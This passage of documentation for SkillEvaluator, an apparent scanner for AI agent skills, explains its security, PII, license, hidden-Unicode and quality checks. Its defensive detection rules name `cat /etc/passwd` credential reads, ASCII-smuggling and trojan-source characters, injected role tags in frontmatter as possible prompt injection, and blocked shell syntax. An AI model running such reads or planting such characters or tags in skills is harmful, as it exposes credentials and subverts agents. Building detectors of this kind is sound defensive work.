that are not recognized agent files (such as `.env`; `.cursorrules` and `.mcp.json` stay kept), test files, notebooks, images, lockfiles, and generated `skill-card.md` and `BENCHMARK.md` files. + + `security-scan`, and `validate` on a target whose type is `unknown`, keep the unrestricted scan and report every SkillSpector finding. + + To explain why two otherwise identical `--llm` scans differ, the reports record the LLM provenance that SkillSpector v2.12.0 and later return. The Security result in the JSON report carries: + + - `skillspector_llm_provenance`: SkillSpector's provider adapter, the model and SkillSpector revision behind each LLM analyzer, the requested and forwarded temperature, seed, and reasoning-effort controls, and a determinism classification. Provider output is never guaranteed to be identical. + - `skillspector_provider_id`: the SkillEvaluator provider the scan was bridged from (`nv_build`, `openai`, `openai-compatible`, `anthropic`, or `bedrock`). `nv_build` and `openai-compatible` both run as SkillSpector's `openai` adapter. The field is omitted when `SKILLSPECTOR_PROVIDER` selects a SkillSpector adapter directly (`anthropic`, `bedrock`, or `openai`) or names an unsupported provider. `SKILLSPECTOR_PROVIDER=nv_build` is bridged like `SKILL_EVAL_LLM_PROVIDER=nv_build` and recorded as `nv_build`. + + The HTML report shows the same data in the **Tier 1 LLM Provenance** table on the Tier 1 tab. The record contains no prompts, endpoints, or credentials. A record that does not match SkillSpector's provenance contract, or that contains a URL or credential-shaped value, is left out rather than partially shown. If the LLM stage fails or SkillSpector does not confirm LLM analysis, a valid record in SkillSpector's output is still kept to show what was attempted, and the Security result stays incomplete. Provenance is recorded when you scan a single skill. A scan of a folder with several skills does not record it yet. + + SkillSpector 2.11.1 and later tags an exact read-only `/etc/passwd` bind mount, such as `docker run -v /etc/passwd:/etc/passwd:ro` or the Podman, `--volume`, and quoted forms, as likely benign but still reports it as a HIGH Credential Access (PE3) finding. SkillEvaluator ignores that finding only when SkillSpector tagged it benign and every `/etc/passwd` on the reported source line is the source or target of such a mount. Writable or implicit-mode mounts, other source or target paths, and reads such as `cat /etc/passwd` still block. + + SkillSpector 2.13.3 can report separate findings for the mount's source and target; both must pass the same checks. Ignoring a mount never clears incomplete inspection, including refused or truncated LLM responses. A static report can say an LLM provider is available without having requested or applied LLM analysis; provider availability alone does not invalidate the static scan. + + To accept reviewed findings, pass an audited baseline with `--skillspector-baseline`; see [Audited SkillSpector baselines](#audited-skillspector-baselines). + + + + `pii-scan`, and the `pii` check inside `validate`, use configurable regex patterns to detect sensitive values. + Instruction content in `.mdc` rules and workflow files is included, for both + direct file inputs and directory scans. + + | Group | Examples | Notes | + | --- | --- | --- | + | Personal information | Personal paths, non-placeholder email addresses, phone numbers, SSNs, GPS coordinates, MAC addresses | Personal macOS/Windows paths are flagged; SSNs are CRITICAL | + | Credentials and secrets | Database connection strings, hardcoded API keys, cloud keys, GitHub tokens, private keys, JWTs, webhook URLs | Most credential findings are CRITICAL | + | Network and financial | Public IPs, credit-card numbers, cryptocurrency wallet addresses | Private RFC1918, loopback (`127.x`), link-local (`169.254.x.x`, including cloud metadata endpoints such as `169.254.169.254`), and `0.x` (including the `0.0.0.0` placeholder) addresses are excluded | + + Numeric values are judged by their context as well as their shape. A card-shaped number is not reported when a timestamp or digest label (`timestamp_microseconds:`, `event_timestamp:`, `epoch`, `epoch_us`, `unix_time`, `sha256:`, `checksum=`) directly precedes it or when it sits inside a longer ASCII token, such as a hex digest or an identifier like `id_1707938736269577` where an underscore joins it to a letter or digit (unless a payment word such as `card`, `cc`, or `pan` is part of that identifier, as in `card_4532015112830366`). A card in Markdown underscore emphasis (`_4532015112830366_`), after a string escape such as `\n` or `\t` or a percent-encoded byte such as `%3D`, or written directly next to Chinese, Japanese, Korean, or other non-ASCII letters (including the Turkish dotless `ı`) is still reported. Widely published test card numbers (`4111111111111111`, `4242424242424242`, `5555555555554444`, and similar) are excepted however their digits are grouped, without hiding a different card number on the same line. An international phone candidate that starts inside a scientific-notation value such as `1.000000e+00` is ignored. A GPS-shaped decimal pair is reported only with a geospatial cue on its line, on one of the two lines before it, or in the file name. Strong cues are GPS, latitude/longitude, lat/lng, `latlong`/`lonlat` keys, WGS 84, a `geo:` URI, a Google, Apple, OpenStreetMap, or Bing map link, and a GeoJSON geometry, `Feature`, or collection `"type"` or `"geometry"` member. Soft cues are location, office, address, degrees, and `°`. Cue words count in their plural forms, with a numeric suffix, and inside snake_case or camelCase keys and file names (`store_locations:`, `latlngs`, `lat1`, `homeLocation`, `gpsCoords`, `locations.json`). The GeoJSON `type` and `geometry` keys count double-quoted, single-quoted, or bare, so JSON, Python dicts, JS objects, and YAML all carry the cue; a bare type value must use GeoJSON's spelling (`Point`, `MultiPolygon`). Every position inside a GeoJSON geometry's `coordinates` array is cued, however deeply its rings are nested, when the geometry is written with braces (JSON, a Python dict, or a JS object); block-style YAML geometry is cued only through the two-line window. Technical labels outweigh soft cues but not strong ones: `waypoint`, `quaternion`, `pose`, `vector`, `calibration`, `roi`, and `scale` count only on the pair's own line and only before the pair (so `Location: 37.774929, -122.419416 (map scale 1:5000)` is still reported), while ` coordinates` also counts on the two lines before it and in the file name. Pairs without a cue are not reported, for example `coordinates: 37.7749, -122.4194`, `Meet me at 37.7749, -122.4194`, or `home: 37.774929, -122.419416`. + + Common placeholders such as `YOUR_API_KEY_HERE`, `example`, `test`, `dummy`, and `placeholder`, along with `@example.com` and `@test.com`, are excluded, as are configured allowed paths. + + Proton (Steam Play) game prefixes are not personal paths: `pfx/drive_c/users/steamuser/` is the same fixed Windows profile for every player. Other user names, the same profile outside a `pfx/drive_c` prefix (for example `~/.wine/drive_c/users/steamuser/` or `/Users/steamuser/`), and a profile path followed by a `..` segment anywhere later on its line are still reported, as is any other personal path on the same line. + + A card-shaped number is reported only when it passes the Luhn checksum; all-zero numbers do not. Digits inside a canonical GUID/UUID, such as the COM interface ID `{00000000-0000-0000-C000-000000000046}`, are treated as an identifier unless a payment label (`card_number`, `credit_card`, `cc_no`, `cc_number`, `pan`, and similar) directly precedes the GUID on its line or ends the line before it. Every card-shaped number on a line is checked, so an identifier or non-card number earlier on the line does not hide a card after it. + + To accept a specific reviewed value, use a [PII waiver](#pii-waivers) rather than a `PII.*` severity override, which would relax every finding of that check. + + The home-path check compares detected user paths against the submitter's identity. When no identity is available, that check is skipped and logged — set `SKILLEVALUATOR_SUBMITTER` (or add `author` to `SKILL.md`) to enable it. `SKILLEVALUATOR_SUBMITTER` is combined with `GITHUB_ACTOR`, `USER`, `LOGNAME`, `USERNAME`, the OS login name, and the skill's declared author — every identity that resolves is protected. + + + + Looks for license evidence in frontmatter, common license files, and SPDX headers. Detected identifiers are normalized and matched against the packaged permissive allowlist and restrictive blocklist. Missing or unknown licenses are reported for review; blocked licenses fail according to the active policy (CRITICAL under the bundled `default` policy). + + Frontmatter values and SPDX headers can be SPDX license expressions with `AND`, `OR`, `WITH`, and parentheses, such as `MIT OR Apache-2.0`. An expression passes only when every license in it is allowed, and any blocked license fails it. The `+`, `-only`, and `-or-later` forms of a blocked license, such as `GPL-3.0+` or `LGPL-2.1-only`, and deprecated ids such as `GPL-2.0-with-classpath-exception` are blocked too. A `WITH` exception keeps an allowed license allowed only when it is in the packaged `allowed_license_exceptions` list (`LLVM-exception`, `Swift-exception`); other exceptions are reported for review. An expression that uses an upper-case `AND`, `OR`, or `WITH` but has unbalanced parentheses or a missing or repeated operator fails with an `unsupported_license_expression` finding. A value without those operators, such as `MIT License` or `MIT License (MIT)`, is treated as a license name: it is matched by name as before or reported for review. A blocked license fails the value even when it does not parse, so `GPL-3.0 (or later)` and `(GPL-3.0 OR MIT` are blocked. + + + + Combines three validation groups: + + - **Code risk (Bandit and Semgrep)** — SQL or command injection, hardcoded passwords, insecure cryptography, unsafe deserialization, `shell=True`, `eval()`/`exec()`, CWE patterns, and language-specific anti-patterns. + - **Secrets (Gitleaks)** — API keys, tokens, passwords, private keys, database credentials, and other high-confidence secret patterns. Authored eval files, including `evals/evals.json`, graders such as `evals/grader.py`, and `evals/files` inputs, are scanned too. Generated Tier 3 output in `evals/results` is skipped. Files under a folder named `tests`, `examples`, `fixtures`, or `mocks`, or the singular form, are skipped at any depth, including the Harbor task graders in `evals/harbor//tests/`, so a secret there is not reported. To keep an intentional test token, add a `gitleaks:allow` comment on its line or list the finding in a `.gitleaksignore` file at the skill root. + - **Hygiene** — dead relative Markdown links, banned or unpinned dependency declarations, and static discovery of conventional Python test filenames. + + Default Tier 1 does not import or execute target-controlled Python code. The `test_discovery` result is filename evidence only: it counts regular, in-tree, non-symlink `test_*.py` and `*_test.py` candidates without parsing or importing them. It reports `execution_performed=false` and `coverage_measured=false`; test success and code coverage must be established separately in a trusted project environment or an explicit sandbox. + + A missing required scanner, or a timed-out, crashed, or malformed Bandit, Semgrep, Gitleaks, or SkillSpector run, is treated as `INCOMPLETE`: terminal and saved reports are non-green and `validate` exits non-zero. When Semgrep runs but cannot fully parse some files (for example a shell or JavaScript file with syntax Semgrep's parser rejects), the check stays `INCOMPLETE` because Semgrep skips the code it cannot parse, so findings there are missed. The report names up to 20 of those files, relative to the skill and with the line of the first error, keeps Semgrep's findings for the other files, and lists them in the `semgrep_unparsed_files` field of the JSON report, up to 1,000 files; `semgrep_unparsed_files_omitted` counts any beyond that. Fix the syntax error, or check whether it comes from Semgrep's parser or its rule configuration. See [Scanner setup](#scanner-setup) for installation. + + + + Detects invisible Unicode characters associated with ASCII smuggling, hidden-data encoding, and trojan-source attacks. + + | Category | Range | Default severity | + | --- | --- | --- | + | Unicode Tags (ASCII smuggling) | `U+E0000..U+E007F` | CRITICAL; decodes the hidden ASCII payload | + | BiDi overrides (trojan source) | `U+202A..U+202E`, `U+2066..U+2069`, `U+200E/F`, `U+061C` | HIGH | + | Zero-width characters | `U+200B/C/D`, `U+034F`, `U+180E`, `U+2060`, `U+FEFF` | MEDIUM or LOW | + | Invisible operators and deprecated controls | `U+2061..U+2064`, `U+206A..U+206F` | MEDIUM | + | Variation selectors | `U+FE00..U+FE0F`, `U+E0100..U+E01EF` | LOW | + + Severity increases with suspicious run length. A BOM (`U+FEFF`) at byte zero is downgraded to INFO, and binary files are skipped using MIME and null-byte detection. + + + + `quality-check`, and the `quality` check inside `validate`, produce a 0–100 composite score across four weighted categories. + + | Category | Weight | What it evaluates | + | --- | --- | --- | + | Correctness | 35% | Frontmatter, naming, examples, paths, and skill-type-specific structure | + | Discoverability | 25% | Description quality, trigger wording, purpose, scope, and naming | + | Reliability | 25% | Error handling, prerequisites, limitations, troubleshooting, and implementation safeguards | + | Efficiency | 15% | Estimated token budget, body length, repetition, instruction clarity, and reference use | + + The 5,000-token budget for `SKILL.md` is a recommendation, not a hard limit. Token counts are estimates (characters divided by 4), not tokenizer output: each model family counts differently, and dense files with tables, identifiers or code spans usually have fewer than 4 characters per token, so the estimate runs low. `metrics.estimated_tokens` holds the estimate and `metrics.estimate_method` names how it was made; `metrics.total_tokens` is kept as the same value for existing consumers. A larger `SKILL.md` gets a MEDIUM `quality_efficiency` finding and a 15-point Efficiency deduction. The finding does not fail the check by itself, but the deduction can still take the score below `--min-score`. + + Grades are A for scores of at least 90, B for at least 80, C for at least 70, D for at least 60, and F below 60. The default `--min-score` is 70. Passing requires the score to reach that minimum and no HIGH or CRITICAL quality findings under the active policy. + + Each category starts at 100 and loses a fixed number of points per triggered finding. The [Metrics Reference](/skills/skillevaluator/metrics-reference#tier-1-quality-score) gives the composite formula, the deduction behind every finding, and how this 0–100 score differs from the similarly named Tier 3 dimensions. + + The minimum score is an independent gate. Policy severity overrides cannot + waive it, and a collection average cannot hide an individual skill below + the minimum. A below-minimum result includes a diagnostic such as + `Quality score 67.8/100 is below the required 70/100`, retained in the JSON + result's `gate_failures` list. Improve the skill or explicitly choose the + required threshold with `--min-score`. + + Correctness reports XML-style tags in any frontmatter value as a HIGH finding (potential prompt injection). A string `argument-hint`, or an unquoted hint such as `[]` that YAML reads as a list of strings, may use command-line placeholders such as ` [--strict]`, ``, or ``. A placeholder has at most four words, and `|` separates choices that are each one word or a quoted literal, after an optional label such as `stage:` or `codec e.g.`. Longer free text, shell command syntax (`;`, `&`, a backtick, `$(`, `${`, or a pipeline such as ``), closing tags, attributes, self-closing tags, and role or control tags such as ``, ``, or `